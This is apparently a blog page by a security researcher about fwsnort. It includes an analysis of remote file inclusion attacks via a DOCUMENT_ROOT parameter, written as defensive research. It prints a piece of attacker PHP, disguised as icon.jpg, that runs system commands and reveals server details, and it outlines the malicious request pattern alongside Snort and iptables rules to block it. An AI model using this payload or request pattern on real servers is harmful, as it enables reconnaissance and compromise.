Michael Rash, Security Researcher

fwsnort    [Summary View]

« Previous | Next »

ISSA Journal's Toolsmith on fwsnort and iptables IDS

ISSA Toolsmith on fwsnort Russ McRee of has written the October Toolsmith issue from the ISSA Journal about fwsnort and intrusion detection. Russ emphasizes practical usages of fwsnort with tuning the Snort signature set it translates into an iptables policy, and after using fwsnort to build a detection policy, he sends several example attacks at a webserver. These attacks include directory traversal, XSS, and CSRF attacks, and he illustrates how the attacks are detected by fwsnort via the iptables log messages it generates. Here is an attack identified as ET WEB-MISC Poison Null Byte by Snort rule ID 2003099, and below is the log message generated by fwsnort when the attack is sent against a webserver: alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET WEB-MISC Poison Null Byte"; flow:established,to_server; uricontent:"|00|"; depth:400; reference:cve,2006-4542; reference:cve,2006-4458; reference:cve,2006-3602; reference:url,; classtype: web-application-activity; sid:2003099; rev:3;)

Sep 4 16:59:45 holisticinfosec01 kernel: [29567.666562] [234] SID2003099 ESTAB IN=eth0 OUT= MAC=00:0c:6e:3c:b4:71:00:13:e8:e8:81:37:08:00 SRC= DST= LEN=40 TOS=0x00 PREC=0x00 TTL=128 ID=24638 DF PROTO=TCP SPT=7987 DPT=80 WINDOW=16126 RES=0x00 ACK URGP=0
Note the iptables log prefix "[234] SID2003099 ESTAB" above. This indicates that rule number 234 (from the custom FWSNORT_INPUT_ESTAB chain in this case which is jumped to from the built-in INPUT chain) matched traffic described by Snort rule ID 234, and that the match took place in an ESTABLISHED TCP connection. By using the iptables state tracking extensions, fwsnort matches up TCP connection states to packets on the wire in order to emulate the Snort flow keyword - at least to the extent that bi-directional communication is required before an event is generated.

Russ also mentions the fwsnort --ipt-drop and --ipt-reject command line arguments that change the stance of fwsnort from a detection engine to a mechanism that can drop malicious packets before forwarding them to their intended target. Given that iptables is firewall, it runs inline to network traffic by definition, and therefore is in ideal position to respond in this way.

Analyzing and Preventing s_loadenv DOCUMENT_ROOT Attacks

NIST vulnerability database Over the past month, in my web logs for cipherdyne.{com,org} there have been suspicious web requests against the file even though this file does not exist on cipherdyne.{com,org}. These web requests attempt to force the webserver to execute a malicious PHP script via a web link provided in the DOCUMENT_ROOT form parameter. The requests basically look like the following (shown here as strings split across the perl '.' operator so that browsing this page does not set off any IDS alarm bells): 'GET ' . '/some/path/' . '_ROOT' . '=http' . '://'. Fortunately, I don't run any PHP code at all even though my site has a WordPress theme - it's just plain HTML that is updated by a set of custom perl scripts when I make new blog postings or new software releases. So, my site is not vulnerable to attacks against unsafe DOCUMENT_ROOT handling, and we can concentrate on analyzing the exploit attempts to get more information.

First things first - a check of the NIST vulnerability database (NVD) does not turn up any CVE reference related to a PHP script named, and even a Google code search for this file also leaves us empty handed. There have been vulnerabilities related to DOCUMENT_ROOT handling before (search the NVD for "DOCUMENT_ROOT"), but none of the descriptions appear to match the web requests I'm seeing. So, whatever software is potentially vulnerable to this attack, either it is probably not well known, or a CVE ID hasn't been created yet. Some site administrators seem to post their web logs on the Internet for all to see, and based on a Google search, my guess is that the exploit targets a piece of Russian CMS software that I won't name, but I did attempt to contact the vendor to notify them of the problem just in case they don't already know about it - they never responded. The attack is fairly widespread though - I have over 1500 such requests in my web logs in the past month - and given the fact that most of the requests concentrate on a specific area of my website, I would guess that this attack has been included within an automated attack (more on this below).

Now, let's get a bit more sophisticated. The web requests advertise the links to download exploit code, so I wrote a script (which you can download) called to parse the web requests and download the malicious software pointed to by the DOCUMENT_ROOT links. Typical usage is to search through the Apache access_log file for web requests that match the strings, DOCUMENT_ROOT, and http:, and send these logs through the script like so: $ grep "" /var/www/logs/access_log | grep "DOCUMENT_ROOT" | grep "http:" | ./
/fwknop/docs/SPA.html// (1)
=> `oye.txt??'
Connecting to||:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 882 [text/plain]

0% [ ] 0 --.--K/s
100%[===========================================>] 882 --.--K/s

11:40:29 (115.56 MB/s) - `oye.txt??' saved [882/882]
The script uses wget to grab each of the exploit code links, and stores them in the local directory s_loadenv_recon/ according to the IP of the original web request (with the IP used as a new directory where the data is stored). After letting this script run, I have a total of 352 files to examine that were requested by 144 unique IP addresses. By using the GeoIP database via the geoiplookup tool, these IP addresses represent the following countries: $ cd s_loadenv_recon/
$ for f in *; do geoiplookup $f; done |sort |uniq |perl -p -i -e 's|^.*?:\s||'
AT, Austria
AU, Australia
BE, Belgium
BG, Bulgaria
BR, Brazil
CA, Canada
CH, Switzerland
CL, Chile
CN, China
CO, Colombia
CZ, Czech Republic
DE, Germany
DK, Denmark
ES, Spain
FR, France
GB, United Kingdom
HK, Hong Kong
HU, Hungary
IT, Italy
JP, Japan
KR, Korea, Republic of
KZ, Kazakhstan
MO, Macau
--, N/A
NL, Netherlands
PL, Poland
PT, Portugal
RU, Russian Federation
TH, Thailand
TR, Turkey
TW, Taiwan
UA, Ukraine
US, United States
VN, Vietnam
Now, for the exploit code files, most are not very interesting and just instruct the server to reveal detailed config or status information. For example, here is a snippet from a file named icon.jpg that really contains PHP code: echo "bsdcr3w";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "We was here ... and u no !!!<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "uptime: $up<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software: $sof1<br>";
echo "server-name: $name1<br>";
echo "server-ip: $ip1<br>";
However, one file downloaded by the script contains some much more interesting code with support for logging into an IRC channel, sending email, conducting port scans, issuing TCP and UDP floods, and spawning connect-back shells. This code is associated with the pBot trojan, and is detected by Snort rule ID 2003208 in the Emerging Threats rule set. (I'm not going to post the pBot code here - email me privately if you have a security research interest in it.) Rule 2003208 checks for IRC communications associated with the pBot trojan, so it will not detect the web requests against the script mentioned earlier. In terms of the attack, what has probably happened is that exploits for PHP vulnerabilities can sometimes interchanged, and one of the malicious web requests linked to exploit code for the pBot trojan after it was discovered that the Russian CMS software is vulnerable. The vast majority of the web requests linked to PHP code that is not associated with pBot.

In addition to analyzing the malicious web requests, this blog post is also about preventing them even if they link to relatively benign PHP code, so let's first write a basic Snort rule to detect matching requests. Then we'll use fwsnort to translate this rule into an iptables rule that uses the DROP target to prevent any web requests that match the rule from reaching the targeted webserver. # cd /etc/fwsnort/snort_rules/
# cat > s_loadenv.rules
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:" DOCUMENT_ROOT attempt"; flow:established,to_server; uricontent:"/"; uricontent:"DOCUMENT_ROOT="; uricontent:"http://" classtype:web-application-attack; reference:url,; sid:20080001; rev:1;)
# fwsnort --include-type s_loadenv --ipt-drop > /dev/null
# /etc/fwsnort/
[+] Adding s_loadenv rules.
Rules added: 4
[+] Finished.
With the above commands executed, the FORWARD chain now contains the following two rules that LOG and DROP packets in established TCP connections with port 80 that match the strings described in rule 20080001 above. In closing, these rules are shown below. $IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 80 -m string --string "/" --algo bm -m string --string "DOCUMENT_ROOT=" --algo bm -m string --string "http://" --algo bm -m comment --comment "sid:20080001; DOCUMENT_ROOT attempt; classtype:web-application-attack; reference:url,; rev:1; FWS:1.0.5;" -j LOG --log-ip-options --log-tcp-options --log-prefix "[1] DRP SID20080001 ESTAB "
$IPTABLES -A FWSNORT_FORWARD_ESTAB -p tcp --dport 80 -m string --string "/" --algo bm -m string --string "DOCUMENT_ROOT=" --algo bm -m string --string "http://" --algo bm -j DROP
If you have any additional insight regarding the suspicious requests against the script, please email me.

Software Release - fwsnort-1.0.5

fwsnort-1.0.5 release The 1.0.5 release of fwsnort is available for download. For this release all Snort rules and perl modules packaged within the fwsnort sources have been moved into the deps/ directory so that it is clear which components are dependencies, and this change makes it easy to build "nodeps" tar archives and RPMs of fwsnort that do not include any dependencies. This change was suggested by Franck Joncourt in support of his efforts to create Debian packages of fwsnort, and this will also mean that fwsnort will integrate easily into Linux distributions such as Ubuntu). Also, from now on, all project will be signed with a new GnuPG key that is dedicated just for this purpose, and this key can be downloaded here.

The complete ChangeLog for fwsnort-1.0.5 appears below:

  • Replaced the bleeding-all.rules file with the emerging-all.rules file. This is because Matt Jonkman now releases his rule sets at
  • Restructured perl module paths to make it easy to introduce a "nodeps" distribution of fwsnort that does not contain any perl modules. This allows better integration with systems that already have all necessary modules installed (including the IPTables::ChainMgr and IPTables::Parse modules). The main driver for this work is to make all projects easily integrated with distributions based on Debian, and Franck Joncourt has been instrumental in making this process a reality. All perl modules are now placed within the "deps" directory, and the script checks to see if this directory exists - a separate fwsnort-nodeps-<ver> tarball will be distributed without this directory. The Debian package for fwsnort can then reference the -nodeps tarball, and a new "fwsnort-nodeps.spec" file has been added to build an RPM from the fwsnort sources that does not install any perl modules.
  • Updated to import perl modules from /usr/lib/fwsnort, but only if this path actually exists in the filesystem. This is similar to the strategy implemented by psad. A new variable FWSNORT_LIBS_DIR was added to the fwsnort.conf to support this.
  • Added support for multiple Snort rule directories as a comma-separated list for the argument to --snort-rdir.
  • Moved 'threshold' to the unsupported list since there will be several signatures that use this feature to detect the Dan Kaminsky DNS attack, and fwsnort does not yet support the usage of the iptables --limit match.

fwsnort-1.0.4 Software Release

fwsnort-1.0.4 Software Release The 1.0.4 release of fwsnort is ready for download. This release is mostly a bugfix release for bugs discovered and patched by Grant Ferley (thanks for the contributions both on the fwsnort mailing list and also via personal correspondence). Because these fixes mostly apply to the IPTables::Parse perl module, they will also make it into the psad and fwknop projects. Here is the full ChangeLog:
  • (Grant Ferley) Submitted patch to exclude loopback interfaces from iptables allow rules parsing. This behavior can be reversed with the existing --no-exclude-loopback command line argument.
  • (Grant Ferley) Submitted patch to IPTables::Parse to take into account iptables policy output that contains "0" instead of "all" to represent any protocol.
  • (Grant Ferley) Submitted patch to IPTables::Parse to set sport and dport to '0:0' if the protocol is 'all'.
  • Bugfix to allow negated networks to be specified within iptables allow rules or within the fwsnort.conf file.
  • Updated to set the LC_ALL environmental variable to "C". This should fix potential locale problems (this fix was borrowed from the fwknop project).

fwsnort Mailing List Started

The fwsnort project has been around for several years now, but has never had a dedicated forum for discussion of development and deployment issues that are unique to making heavy use of the Netfilter string match extension as done by fwsnort. That's changed now with the introduction of the fwsnort mailing list generously provided by SourceForge. If you are interested in learning more about fwsnort and would like to ask questions or post comments, the mailing list is the place to do it!
« Previous | Next »